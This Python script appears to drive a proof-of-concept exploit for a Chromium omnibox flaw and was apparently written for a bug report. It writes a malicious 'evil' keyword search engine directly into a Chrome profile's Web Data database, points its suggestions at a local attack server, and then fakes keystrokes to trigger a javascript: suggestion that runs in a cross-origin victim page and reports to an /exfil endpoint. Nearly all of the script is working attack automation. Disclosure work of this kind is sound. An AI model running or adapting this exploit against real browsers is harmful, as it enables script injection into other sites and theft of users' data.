#!/usr/bin/env python3
"""
End-to-end driver for the keyword-engine NAVSUGGEST javascript: POC.

What it does:
  1. Starts the malicious suggest server in-process.
  2. Launches Chrome once with a fresh profile so it creates Web Data.
  3. Injects an *active* keyword search engine ("evil") whose suggest_url
     points at the malicious server. This is the moral equivalent of the
     user adding a custom site-search shortcut in
     chrome://settings/searchEngines and ticking "activate" -- a normal,
     supported user action and the precondition stated in the report.
  4. Relaunches Chrome on the cross-origin victim page.
  5. Drives the omnibox with synthetic X11 keystrokes:
       Ctrl+L  ->  evil<space>x  ->  Down  ->  Enter
  6. Waits for the javascript: payload to fire in the victim origin and
     phone home to /exfil.

Run with PYTHONPATH set to wherever python-xlib is installed; the README
shows the exact invocation.
"""

import atexit
import os
import shutil
import sqlite3
import subprocess
import sys
import threading
import time
import uuid

# ---------------------------------------------------------------------------

CHROME = os.environ.get(
    'CHROME', '/chromium/chromium/src/out/asan/chrome')
PROFILE = '/tmp/chrome-poc-profile'
PORT = 8765
DISPLAY = os.environ.get('DISPLAY', ':20')

CHROME_BASE_ARGS = [
    CHROME,
    '--no-first-run',
    '--no-default-browser-check',
    '--disable-search-engine-choice-screen',
    '--password-store=basic',
    '--use-mock-keychain',
    '--user-data-dir=' + PROFILE,
]

sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
import server  # noqa: E402

from Xlib import X, XK, display as xdisplay  # noqa: E402
from Xlib.ext import xtest  # noqa: E402
from Xlib.protocol import event as xevent  # noqa: E402


# ---------------------------------------------------------------------------
# Step 1: server
# ---------------------------------------------------------------------------

def start_server():
    t = threading.Thread(target=server.run, daemon=True)
    t.start()
    time.sleep(0.5)


# ---------------------------------------------------------------------------
# Step 2: prime profile
# ---------------------------------------------------------------------------

def prime_profile():
    if os.path.isdir(PROFILE):
        shutil.rmtree(PROFILE)
    print('[poc] launching Chrome to create profile...', flush=True)
    p = subprocess.Popen(
        CHROME_BASE_ARGS + ['about:blank'],
        env=dict(os.environ, DISPLAY=DISPLAY),
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    _LAUNCHED.append(p)
    # Wait for Web Data to materialise.
    web_data = os.path.join(PROFILE, 'Default', 'Web Data')
    for _ in range(60):
        if os.path.exists(web_data) and os.path.getsize(web_data) > 0:
            break
        time.sleep(0.5)
    time.sleep(4)
    p.terminate()
    try:
        p.wait(10)
    except subprocess.TimeoutExpired:
        p.kill()
        p.wait()
    time.sleep(1)
    return web_data


# ---------------------------------------------------------------------------
# Step 3: inject the malicious keyword engine
# ---------------------------------------------------------------------------

def inject_engine(web_data):
    print('[poc] injecting keyword engine into %s' % web_data, flush=True)
    db = sqlite3.connect(web_data)
    cur = db.cursor()
    # Clear stale WAL/SHM by checkpointing.
    try:
        cur.execute('PRAGMA wal_checkpoint(TRUNCATE)')
    except sqlite3.Error:
        pass
    cur.execute('SELECT MAX(id) FROM keywords')
    max_id = cur.fetchone()[0] or 0
    new_id = max(max_id + 1, 1000)
    now = 13380000000000000  # arbitrary chrome epoch usec
    guid = str(uuid.uuid4())
    cur.execute(
        'INSERT INTO keywords ('
        ' id, short_name, keyword, favicon_url, url, safe_for_autoreplace,'
        ' originating_url, date_created, usage_count, input_encodings,'
        ' suggest_url, prepopulate_id, created_by_policy, last_modified,'
        ' sync_guid, alternate_urls, image_url, search_url_post_params,'
        ' suggest_url_post_params, image_url_post_params, new_tab_url,'
        ' last_visited, created_from_play_api, is_active, starter_pack_id,'
        ' enforced_by_policy, featured_by_policy, url_hash'
        ') VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)',
        (
            new_id,
            'Evil',                                   # short_name
            'evil',                                   # keyword
            '',                                       # favicon_url
            'http://127.0.0.1:%d/search?q={searchTerms}' % PORT,  # url
            0,                                        # safe_for_autoreplace
            '',                                       # originating_url
            now,                                      # date_created
            5,                                        # usage_count
            'UTF-8',                                  # input_encodings
            'http://127.0.0.1:%d/suggest?q={searchTerms}' % PORT,  # suggest
            0,                                        # prepopulate_id
            0,                                        # created_by_policy
            now,                                      # last_modified
            guid,                                     # sync_guid
            '[]',                                     # alternate_urls
            '',                                       # image_url
            '',                                       # search_url_post_params
            '',                                       # suggest_url_post_params
            '',                                       # image_url_post_params
            '',                                       # new_tab_url
            now,                                      # last_visited
            0,                                        # created_from_play_api
            1,                                        # is_active = kTrue
            0,                                        # starter_pack_id
            0,                                        # enforced_by_policy
            0,                                        # featured_by_policy
            None,                                     # url_hash (Linux: unused)
        ))
    db.commit()
    db.close()
    # Remove journal/WAL so Chrome doesn't roll back our edit.
    for suffix in ('-journal', '-wal', '-shm'):
        try:
            os.remove(web_data + suffix)
        except FileNotFoundError:
            pass
    print('[poc] engine "evil" injected (id=%d)' % new_id, flush=True)


# ---------------------------------------------------------------------------
# Step 4/5: relaunch and drive omnibox via XTEST
# ---------------------------------------------------------------------------

class Keyboard:
    def __init__(self):
        self.d = xdisplay.Display(DISPLAY)

    def _kc(self, keysym):
        return self.d.keysym_to_keycode(keysym)

    def key(self, keysym, modifiers=()):
        for m in modifiers:
            xtest.fake_input(self.d, X.KeyPress, self._kc(m))
        xtest.fake_input(self.d, X.KeyPress, self._kc(keysym))
        xtest.fake_input(self.d, X.KeyRelease, self._kc(keysym))
        for m in reversed(modifiers):
            xtest.fake_input(self.d, X.KeyRelease, self._kc(m))
        self.d.sync()

    SHIFTED = set('~!@#$%^&*()_+{}|:"<>?')
    KEYSYM = {' ': XK.XK_space, '.': XK.XK_period, ':': XK.XK_colon,
              '/': XK.XK_slash}

    def type(self, text):
        for ch in text:
            mods = []
            if ch.isupper() or ch in self.SHIFTED:
                mods = [XK.XK_Shift_L]
            ks = self.KEYSYM.get(ch)
            if ks is None:
                ks = XK.string_to_keysym(ch)
            if ks == 0:
                ks = ord(ch)
            self.key(ks, mods)
            time.sleep(0.04)

    def find_chrome_window(self, pid):
        """Locate the toplevel window belonging to *our* Chrome process,
        matched by _NET_WM_PID, so we never touch any other browser that
        happens to be running on the same display."""
        root = self.d.screen().root
        NET_WM_PID = self.d.intern_atom('_NET_WM_PID')

        def has_pid(win):
            try:
                p = win.get_full_property(NET_WM_PID, X.AnyPropertyType)
            except Exception:
                return False
            return bool(p and p.value and p.value[0] == pid)

        def viewable(win):
            try:
                return win.get_attributes().map_state == X.IsViewable
            except Exception:
                return False

        def walk(win):
            if has_pid(win):
                # Climb to the highest mapped ancestor that still carries
                # our PID (or just return this window if it is mapped).
                w = win
                while True:
                    try:
                        parent = w.query_tree().parent
                    except Exception:
                        break
                    if parent.id == root.id or not has_pid(parent):
                        break
                    w = parent
                if viewable(w):
                    try:
                        g = w.get_geometry()
                    except Exception:
                        g = None
                    if g and g.width > 200 and g.height > 200:
                        return w
            try:
                children = win.query_tree().children
            except Exception:
                return None
            for c in children:
                r = walk(c)
                if r:
                    return r
            return None
        return walk(root)

    def focus(self, win):
        root = self.d.screen().root
        # Prefer EWMH activation so a running window manager (mutter, etc.)
        # actually transfers focus instead of immediately stealing it back.
        NET_ACTIVE = self.d.intern_atom('_NET_ACTIVE_WINDOW')
        ev = xevent.ClientMessage(
            window=win, client_type=NET_ACTIVE,
            data=(32, [2, X.CurrentTime, 0, 0, 0]))
        root.send_event(ev, event_mask=X.SubstructureRedirectMask |
                                       X.SubstructureNotifyMask)
        self.d.sync()
        # Fallback for displays without a WM.
        win.configure(stack_mode=X.Above)
        win.set_input_focus(X.RevertToParent, X.CurrentTime)
        self.d.sync()
        ev = xevent.FocusIn(display=self.d, window=win,
                            mode=X.NotifyNormal, detail=X.NotifyNonlinear)
        win.send_event(ev)
        self.d.sync()


_LAUNCHED = []


def _kill_leftovers():
    for p in _LAUNCHED:
        try:
            p.kill()
        except Exception:
            pass


atexit.register(_kill_leftovers)


def drive_omnibox(extra_down=1):
    print('[poc] launching Chrome on victim page...', flush=True)
    log = open('/tmp/chrome-poc.log', 'wb')
    chrome = subprocess.Popen(
        CHROME_BASE_ARGS + [
            '--enable-logging=stderr', '--v=0',
            'http://127.0.0.1:%d/victim' % PORT,
        ],
        env=dict(os.environ, DISPLAY=DISPLAY),
        stdout=log, stderr=subprocess.STDOUT)
    _LAUNCHED.append(chrome)
    time.sleep(8)

    kb = Keyboard()
    win = None
    for _ in range(20):
        win = kb.find_chrome_window(chrome.pid)
        if win:
            break
        time.sleep(0.5)
    if not win:
        print('[poc] ERROR: could not find Chrome window', flush=True)
        chrome.terminate()
        return False
    print('[poc] Chrome window: 0x%x' % win.id, flush=True)
    kb.focus(win)
    time.sleep(0.5)

    # Ctrl+L -> focus omnibox
    print('[poc] Ctrl+L', flush=True)
    kb.key(XK.XK_l, modifiers=[XK.XK_Control_L])
    time.sleep(0.5)

    # Type the keyword + space (enters keyword mode) + a query character.
    print('[poc] typing "evil x"', flush=True)
    kb.type('evil ')
    time.sleep(0.5)
    kb.type('x')
    # Give SearchProvider time to fetch /suggest and populate the dropdown.
    time.sleep(2.5)

    # Arrow down to the NAVSUGGEST row (it can never be default, so it's
    # immediately below the default keyword search row).
    print('[poc] Arrow-Down x%d' % extra_down, flush=True)
    for _ in range(extra_down):
        kb.key(XK.XK_Down)
        time.sleep(0.2)

    print('[poc] Enter', flush=True)
    kb.key(XK.XK_Return)

    # Wait for the javascript: payload to hit /exfil.
    ok = server.EXFIL_EVENT.wait(8)

    # Diagnostic: print the window title so we can see where Chrome ended up.
    try:
        WM_NAME = kb.d.intern_atom('_NET_WM_NAME')
        nm = win.get_full_property(WM_NAME, X.AnyPropertyType)
        print('[poc] window title after Enter: %r'
              % (nm.value if nm else None), flush=True)
    except Exception as e:
        print('[poc] (could not read title: %s)' % e, flush=True)

    chrome.terminate()
    try:
        chrome.wait(5)
    except subprocess.TimeoutExpired:
        chrome.kill()
    return ok


# ---------------------------------------------------------------------------

def main():
    start_server()
    web_data = prime_profile()
    if not os.path.exists(web_data):
        print('[poc] FATAL: Web Data not created at %s' % web_data)
        return 1
    inject_engine(web_data)

    # The NAVSUGGEST row is non-default; with relevance 9999 it lands at
    # index 1. Try a couple of arrow-down counts in case other providers
    # interleave a row.
    for downs in (1, 2, 3):
        server.EXFIL_EVENT.clear()
        if drive_omnibox(extra_down=downs):
            break

    print()
    if server.EXFIL_LOG:
        print('=' * 72)
        print('[poc] SUCCESS: javascript: NAVSUGGEST executed in victim origin')
        for entry in server.EXFIL_LOG:
            print('[poc]   exfil: %s' % entry)
        print('=' * 72)
        return 0
    print('[poc] FAILED: no exfil received')
    return 2


if __name__ == '__main__':
    sys.exit(main())